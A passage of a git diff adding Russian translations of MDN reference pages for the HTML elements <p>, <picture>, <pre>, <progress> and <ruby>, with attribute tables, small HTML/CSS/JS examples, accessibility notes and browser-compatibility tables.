+   <td>Требуется открывающий тег. Закрывающий тег может быть пропущен, если за элементом {{HTMLElement("p")}} сразу следует элемент {{HTMLElement("address")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, {{HTMLElement("blockquote")}}, {{HTMLElement("div")}}, {{HTMLElement("dl")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("footer")}}, {{HTMLElement("form")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("header")}}, {{HTMLElement("hr")}}, {{HTMLElement("menu")}}, {{HTMLElement("nav")}}, {{HTMLElement("ol")}}, {{HTMLElement("pre")}}, {{HTMLElement("section")}}, {{HTMLElement("table")}}, {{HTMLElement("ul")}} или другой элемент {{HTMLElement("p")}}, или если в родительском элементе больше ничего не содержится и родительский элемент не является элементом {{HTMLElement("a")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родительские элементы</th>
+   <td>Любой элемент, который разрешает <a href="/ru/docs/Web/Guide/HTML/Content_categories#Потоковый_контент">потоковый контент</a> в качестве содержимого.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM-интерфейс</th>
+   <td>{{domxref("HTMLParagraphElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>К этому элементу применимы только <a href="/ru/docs/Web/HTML/Общие_атрибуты">глобальные атрибуты</a>.</p>
+
+<div class="note">
+<p><strong>Заметка:</strong> Атрибут <code>align</code> в тегах <code>&lt;p&gt;</code> устарел и больше не должен с использоваться.</p>
+</div>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Это первый абзац текста.
+  Это первый абзац текста.
+  Это первый абзац текста.
+  Это первый абзац текста.&lt;/p&gt;
+&lt;p&gt;Это второй абзац текста.
+  Это второй абзац текста.
+  Это второй абзац текста.
+  Это второй абзац текста.&lt;/p&gt;
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample('Пример')}}</p>
+
+<h2 id="Стилизация_абзацев">Стилизация абзацев</h2>
+
+<p>По умолчанию браузеры разделяют абзацы одной пустой строкой. Альтернативные методы разделения, такие как отступы в первой строке абзаца, могут быть достигнуты с помощью {{glossary("CSS")}}:</p>
+
+<h3 id="HTML_2">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Разделение абзацев пустыми строками удобнее для читателей,
+но их также можно разделить, сделав отступы в их первых строках.
+Это часто используется для экономии места, например,
+чтобы тратить меньше бумаги при печати.&lt;/p&gt;
+
+&lt;p&gt;Письмо (имеется ввиду письменность), предназначенное для редактирования,
+например, школьные записи и черновики, использует для разделения
+как пустые строки, так и отступы. В готовых работах объединение этих двух способов
+считается излишним и любительским.&lt;/p&gt;
+
+&lt;p&gt;В очень старом письме абзацы были разделены
+специальным символом: ¶, &lt;i&gt;pilcrow&lt;/i&gt; (знак абзаца).
+В настоящее время это считается замкнутым и трудно читаемым.&lt;/p&gt;
+
+&lt;p&gt;Насколько трудно читать? Посмотрите сами:
+  &lt;button data-toggle-text="О нет! Переключи обратно!"&gt;Используем "pilcrow" для абзацев&lt;/button&gt;
+&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  margin: 0;
+  text-indent: 3ch;
+}
+
+p.pilcrow {
+   text-indent: 0;
+   display: inline;
+}
+p.pilcrow + p.pilcrow::before {
+  content: " ¶ ";
+}</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">document.querySelector('button').addEventListener('click', function (event) {
+  document.querySelectorAll('p').forEach(function (paragraph) {
+    paragraph.classList.toggle('pilcrow');
+  });
+  var newButtonText = event.target.dataset.toggleText;
+  var oldText = event.target.innerText;
+  event.target.innerText = newButtonText;
+  event.target.dataset.toggleText = oldText;
+});</pre>
+
+<h3 id="Результат_2">Результат</h3>
+
+<p>{{EmbedLiveSample('Стилизация_абзацев')}}</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Разделение контента на абзацы помогает сделать страницу более доступной. Программы чтения с экрана и другие вспомогательные технологии предоставляют шорткаты ("shortcut" - кратчайший путь), позволяющие пользователям переходить к следующему или предыдущему абзацу, позволяя им просматривать содержимое, например, как пустая строка позволяет пользователям, воспринимающим информацию визуально, пропускать абзацы.</p>
+
+<p>Использование пустого элемента <code>&lt;p&gt;</code> для добавления пустого пространства между абзацами является проблемой для людей, которые используют технологию чтения с экрана.</p>
+
+<p>Если требуется дополнительное пространство, используйте свойства {{glossary("CSS")}}, например {{cssxref("margin")}}, чтобы создать такой эффект:</p>
+
+<pre class="brush: css">p {
+  margin-bottom: 2em; // увеличение пустого пространства после абзаца
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-p-element', '&lt;p&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений с последнего "snapshot" (снапшот или снимок - состояние сохраненное в определенный момент времени) {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-p-element', '&lt;p&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Атрибут <code>align</code> больше не поддерживается</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.1', '&lt;p&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице составлена из структурированных данных. Если вы хотите дополнить данные, создайте пулл-реквест (pull request) здесь <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.p")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("hr")}}</li>
+ <li>{{HTMLElement("br")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/picture/index.html b/files/ru/web/html/element/picture/index.html
new file mode 100644
index 0000000000..bba3bab963
--- /dev/null
+++ b/files/ru/web/html/element/picture/index.html
@@ -0,0 +1,107 @@
+---
+title: Элемент <picture>
+slug: Web/HTML/Element/picture
+tags:
+  - HTML
+  - Встроенный контент
+  - Элемент picture
+translation_of: Web/HTML/Element/picture
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML-элемент <code>&lt;picture&gt;</code> </strong> служит контейнером для одного или более элементов {{HTMLElement("source")}} и одного элемента {{HTMLElement("img")}} для обеспечения оптимальной версии изображения для различных размеров экрана.</span> Браузер рассмотрит каждый из дочерних элементов  <code>&lt;source&gt;</code> и выберет один, соответствующий лучшему совпадению; если совпадений среди элементов <code>&lt;source&gt;</code> найдено не будет, то будет выбран файл, указанный  атрибутом  {{htmlattrxref("src", "img")}} элемента <code>&lt;img&gt;</code> . Затем выбранное изображение отображается в пространстве, занятом элементом <code>&lt;img&gt;</code>. </p>
+
+<p>Чтобы выбрать оптимальное изображение, {{Glossary("user agent")}}  анализирует атрибуты {{htmlattrxref("srcset", "source")}}, {{htmlattrxref("media", "source")}}, и {{htmlattrxref("type", "source")}} элемента <code>&lt;source&gt;</code> и выбирает совместимое изображение, которое наилучшим образом соответствует текущему макету страницы, характеристикам устройства отображения и т. д.</p>
+
+<p>Элемент <code>&lt;picture&gt;</code> часто используют для того, чтобы обеспечить HiDPI (Retina)-версию изображений для дисплеев с высоким разрешением, а также для добавления других форматов изображений, не поддерживаемых всеми браузерами.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, фразовый контент, встроенный контент</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённый контент </th>
+   <td>Ноль или более элементов {{HTMLElement("source")}}, затем один элемент {{HTMLElement("img")}}, при необходимости смешанный с элементами поддержки сценариев.</td>
+  </tr>
+  <tr>
+   <th scope="row">Пропуск тегов</th>
+   <td>Нет. Открывающий и закрывающий тег являются обязательными.<br>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые родители</th>
+   <td>Любой элемент, который разрешает встроенный контент</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешённые ARIA roles</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLPictureElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент содержит только <a href="/en-US/docs/Web/HTML/Global_attributes">универсальные атрибуты</a>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Эти примеры демонстрируют влияние различных атрибутов элемента {{HTMLElement("source")}} на выбор изображения, которое будет отображаться при их использовании внутри тега <code>&lt;picture&gt;</code>.</p>
+
+<h3 id="Атрибут_media">Атрибут <code>media</code></h3>
+
+<p>Атрибут <code>media</code> позволяет определить медиа-запрос, который веб-браузер будет анализировать для выбора элемента {{HTMLElement("source")}}. Если медиа-запрос определяется как ложный <code>(false)</code>, то элемент {{HTMLElement("source")}} пропускается.</p>
+
+<pre class="brush: html">&lt;picture&gt;
+ &lt;source srcset="mdn-logo-wide.png" media="(min-width: 600px)"&gt;
+ &lt;img src="mdn-logo-narrow.png" alt="MDN"&gt;
+&lt;/picture&gt;
+</pre>
+
+<h3 id="Атрибут_type">Атрибут <code>type</code></h3>
+
+<p>Атрибут <code>type</code> позволяет Вам обозначить MIME-тип данных, указанных в атрибуте <code>srcset</code> элемента {{HTMLElement("source")}}. Если браузер не подерживает данный тип, то элемент  {{ HTMLElement("source")}} опускается.</p>
+
+<pre class="brush: html">​&lt;picture&gt;
+ &lt;source srcset="mdn-logo.svg" type="image/svg+xml"&gt;
+ &lt;img src="mdn-logo.png" alt="MDN"&gt;
+&lt;/picture&gt;
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-picture-element', '&lt;picture&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("html.elements.picture")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Элемент {{HTMLElement("img")}} </li>
+ <li>Элемент {{HTMLElement("source")}}</li>
+ <li>Позиционирование и определение размера изображения в рамках: {{cssxref("object-position")}} и {{cssxref("object-fit")}}</li>
+</ul>
diff --git a/files/ru/web/html/element/pre/index.html b/files/ru/web/html/element/pre/index.html
new file mode 100644
index 0000000000..70a3b05b1f
--- /dev/null
+++ b/files/ru/web/html/element/pre/index.html
@@ -0,0 +1,171 @@
+---
+title: '<pre>: Предварительно отформатированный текстовый элемент'
+slug: Web/HTML/Element/pre
+tags:
+  - HTML
+  - HTML группировка контента
+  - 'HTML: поток контента'
+  - Элемент
+translation_of: Web/HTML/Element/pre
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>Элемент HTML <code>&lt;pre&gt;</code> </strong> представляет собой предварительно отформатированный текст, который должен быть представлен точно так, как написано в HTML-файле.</span> Текст обычно отображается с использованием непропорционального ("<a href="/ru/docs/XUL/Style/monospace">monospace</a>") шрифта. Пробелы внутри этого элемента отображаются как записанные.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/pre.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ru/docs/Web/Guide/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D0%BE%D0%B9_%D0%BF%D0%BE%D1%82%D0%BE%D0%BA">Основной поток</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#%D0%AF%D0%B2%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BE%D0%BD%D1%82%D0%B5%D0%BD%D1%82">Явный контент</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный контент</th>
+   <td><a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Фразовый контент</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родители</th>
+   <td>Любой элемент, который принимает <a href="/ru/docs/Web/Guide/HTML/Content_categories#%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D0%BD%D0%BE%D0%B9_%D0%BF%D0%BE%D1%82%D0%BE%D0%BA">содержимое потока</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Неявная роль ARIA</th>
+   <td><a href="https://www.w3.org/TR/html-aria/#dfn-no-corresponding-role">Нет соответствующей роли</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">Интерфейс DOM</th>
+   <td>{{domxref("HTMLPreElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает в себя только <a href="/ru/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cols")}} {{non-standard_inline}}{{obsolete_inline}}</dt>
+ <dd>Содержит <em>предпочтительное</em> количество символов, которое должна иметь строка. Это был нестандартный синоним {{htmlattrxref("width", "pre")}}. Чтобы добиться такого эффекта, используйте CSS {{Cssxref("width")}}.</dd>
+ <dt>{{htmlattrdef("width")}} {{obsolete_inline}}</dt>
+ <dd>Содержит <em>предпочтительное</em> количество символов, которое должна иметь строка. Хотя технически он все еще реализован, этот атрибут не имеет визуального эффекта; чтобы достичь такого эффекта, используйте CSS {{Cssxref("width")}}.</dd>
+ <dt>{{htmlattrdef("wrap")}} {{non-standard_inline}}</dt>
+ <dd>Подсказка, указывающая, как должен происходить перенос. В современных браузерах этот атрибут игнорируется, и никакого визуального эффекта не приводит; чтобы достичь такого эффекта, используйте CSS {{Cssxref("white-space")}}.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Использовать CSS для изменения цвета шрифта легко.&lt;/p&gt;
+&lt;pre&gt;
+body {
+  color: red;
+}
+&lt;/pre&gt;
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{EmbedLiveSample("Пример")}}</p>
+
+<h2 id="Проблемы_доступности">Проблемы доступности</h2>
+
+<p>Важно предоставить альтернативное описание для любых изображений или диаграмм, созданных с использованием предварительно отформатированного текста. Альтернативное описание должно четко и лаконично описывать содержание изображения или диаграммы.</p>
+
+<p>Люди, испытывающие проблемы с плохим зрением и просматривающие страницы с помощью вспомогательных технологий, таких как программа чтения с экрана, могут не понимать, что представляют собой предварительно отформатированные текстовые символы, когда они читаются последовательно.</p>
+
+<p>Комбинация элементов {{HTMLElement("figure")}} и {{HTMLElement("figcaption")}}, дополненная {{htmlattrxref("id")}} и <a href="/ru/docs/Web/Accessibility/ARIA">ARIA</a> <code>role</code> и <code>aria-labelledby</code>, позволяет объявить предварительно отформатированный текст как изображение, а <code>figcaption</code> служит альтернативным описанием изображения.</p>
+
+<h3 id="Пример_2">Пример</h3>
+
+<pre>&lt;figure role="img" aria-labelledby="cow-caption"&gt;
+  &lt;pre&gt;
+  ____________________________
+&lt;  Я эксперт в своей области.  &gt;
+  ----------------------------
+         \   ^__^
+          \  (oo)\_______
+             (__)\       )\/\
+                 ||----w |
+                 ||     ||
+  &lt;/pre&gt;
+  &lt;figcaption id="cow-caption"&gt;
+     Корова говорит: «Я эксперт в своей области». Корова проиллюстрирована с использованием предварительно отформатированных текстовых символов.
+  &lt;/figcaption&gt;
+&lt;/figure&gt;
+</pre>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_—_Providing_text_alternatives_for_non-text_content">MDN Understanding WCAG, Guideline 1.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/WCAG20-TECHS/H86.html">H86: Providing text alternatives for ASCII art, emoticons, and leetspeak | W3C Techniques for WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-pre-element', '&lt;pre&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No significant change from {{SpecName("HTML5 W3C")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-pre-element', '&lt;pre&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>No significant change from {{SpecName("HTML4.01")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'struct/text.html#h-9.3.4', '&lt;pre&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Deprecated the <code>cols</code> attribute</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+
+
+<p>{{Compat("html.elements.pre")}}</p>
+
+<h2 id="Смотреть_также">Смотреть также</h2>
+
+<ul>
+ <li>CSS: {{Cssxref('white-space')}}, {{Cssxref('word-break')}}</li>
+ <li>Связанный элемент: {{HTMLElement("code")}}</li>
+</ul>
+
+<div id="simple-translate">
+<div>
+<div class="simple-translate-button isShow" style="height: 22px; width: 22px; top: 1739px; left: 246px;"></div>
+
+<div class="simple-translate-panel " style="width: 300px; height: 200px; top: 0px; left: 0px; font-size: 13px; background-color: rgb(255, 255, 255);">
+<div class="simple-translate-result-wrapper" style="overflow: hidden;">
+<div class="simple-translate-move"></div>
+
+<div class="simple-translate-result-contents">
+<p class="simple-translate-result" style="color: rgb(0, 0, 0);"></p>
+
+<p class="simple-translate-candidate" style="color: rgb(115, 115, 115);"></p>
+</div>
+</div>
+</div>
+</div>
+</div>
diff --git a/files/ru/web/html/element/progress/index.html b/files/ru/web/html/element/progress/index.html
new file mode 100644
index 0000000000..87d221455b
--- /dev/null
+++ b/files/ru/web/html/element/progress/index.html
@@ -0,0 +1,123 @@
+---
+title: '<progress>: Элемент индикатора выполнения'
+slug: Web/HTML/Element/progress
+tags:
+  - Progress bar
+  - индикатор загрузки
+translation_of: Web/HTML/Element/progress
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML-элемент <code>&lt;progress&gt;</code> </strong>отображает индикатор, показывающий ход выполнения задачи, обычно отображаемый в виде прогресс бара (индикатора выполнения).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/progress.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Потоковый контент</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>, контент, ассоциированный с  label, явный контент.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенный контент</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Фразовый контент</a>, но среди его потомков не должно быть элемента <code>&lt;progress&gt;</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родители</th>
+   <td>Любой элемент, который принимает <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">фразовый контент</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные ARIA роли</th>
+   <td>Нет</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLProgressElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает в себя <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<dl>
+ <dt>{{ htmlattrdef("max") }}</dt>
+ <dd>Этот атрибут описывает сколько затрат требует задача, указанная элементом  <code>progress</code>. Атрибут <code>max</code>, в случае указания, должен быть положительным, также, возможно применение числа с плавающей точкой.  Значение по умолчанию 1.</dd>
+ <dt>{{ htmlattrdef("value") }}</dt>
+ <dd>Этот атрибут указывает какая часть задачи была выполнена. Это может быть число с плавающей точкой от 0 до <code>max</code>, или между 0 и 1, если <code>max</code> не указан. Если атрибут <code>value</code> не указан, индикатор выполнения не определен; это указывает на то, что действие продолжается без указания на то, сколько времени оно займет.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> Минимальное значение всегда 0,  а атрибут <code>min</code> недопустим для прогресс-элемента. Вы можете использовать свойство CSS {{ cssxref("-moz-orient") }}, чтобы указать, должен ли индикатор выполнения отображаться горизонтально (по умолчанию) или вертикально.</p>
+</div>
+
+<div class="note">
+<p><strong>Примечение:</strong> Псевдокласс {{ cssxref(":indeterminate") }} может быть использован для работы с неопределенным индикатором выполнения. Чтобы индикатор выполнения стал неопределенным после присвоения ему значения, вы должны удалить атрибут value с помощью <code>element.removeAttribute("value")</code></p>
+</div>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: html">&lt;progress value="70" max="100"&gt;70 %&lt;/progress&gt;
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{ EmbedLiveSample("Examples", 200, 50) }}</p>
+
+<p>Для Windows 7, результат выполнения будет выглядеть так :</p>
+
+<p><img alt="progress-firefox.JPG" class="default internal" src="/@api/deki/files/6031/=progress-firefox.JPG"></p>
+
+<h3 id="Дополнительные_примеры">Дополнительные примеры</h3>
+
+<p>Смотрите {{ cssxref("-moz-orient") }}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-progress-element', '&lt;progress&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-progress-element', '&lt;progress&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Первое определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("html.elements.progress")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Element/meter">&lt;meter&gt;</a></li>
+ <li>{{ cssxref(":indeterminate") }}</li>
+ <li>{{ cssxref("-moz-orient") }}</li>
+ <li>{{ cssxref("::-moz-progress-bar") }}</li>
+ <li>{{ cssxref("::-ms-fill") }}</li>
+ <li>{{ cssxref("::-webkit-progress-bar") }}</li>
+ <li>{{ cssxref("::-webkit-progress-value") }}</li>
+ <li>{{ cssxref("::-webkit-progress-inner-element") }}</li>
+</ul>
diff --git a/files/ru/web/html/element/ruby/index.html b/files/ru/web/html/element/ruby/index.html
new file mode 100644
index 0000000000..ed501d421c
--- /dev/null
+++ b/files/ru/web/html/element/ruby/index.html
@@ -0,0 +1,153 @@
+---
+title: <ruby>
+slug: Web/HTML/Element/ruby
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/ruby
+---
+<p><code><font face="Open Sans, Arial, sans-serif">HTML элемент</font><strong>&lt;ruby&gt;</strong></code> предназначен для добавления небольшой аннотации сверху или снизу от заданного текста. Такая форма записи преимущественно используется для идеографической письменности вроде китайского языка, но может применяться и для других языков, если требуется написать один текст над другим.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Категории контента</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Основной поток(Flow content)</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">текстовой контент(phrasing content)</a>, явный контент(palpable content).</td>
+  </tr>
+  <tr>
+   <th scope="row">Допустимый контент</th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">Текстовый контент(phrasing content)</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Тэг пропускания</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные родители</th>
+   <td>Любой элемент который согласован с <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">текстовым контентом(phrasing content)</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Разрешенные роли ARIA</th>
+   <td>Любые</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM интерфейс</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Атрибуты">Атрибуты</h2>
+
+<p>Этот элемент включает в себя только <a href="/en-US/docs/Web/HTML/Global_attributes">глобальные атрибуты</a>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Пример_1_Символы">Пример 1: Символы</h3>
+
+<pre class="brush:html">&lt;ruby&gt;
+  漢 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Kan&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+  字 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;ji&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<h3 id="Пример_2_Слово">Пример 2: Слово</h3>
+
+<pre class="brush:html">&lt;ruby&gt;
+  明日 &lt;rp&gt;(&lt;/rp&gt;&lt;rt&gt;Ashita&lt;/rt&gt;&lt;rp&gt;)&lt;/rp&gt;
+&lt;/ruby&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-ruby-element', '&lt;ruby&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-ruby-element', '&lt;ruby&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>5.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(38)}}</td>
+   <td>5.0</td>
+   <td>{{CompatNo}}</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(38)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
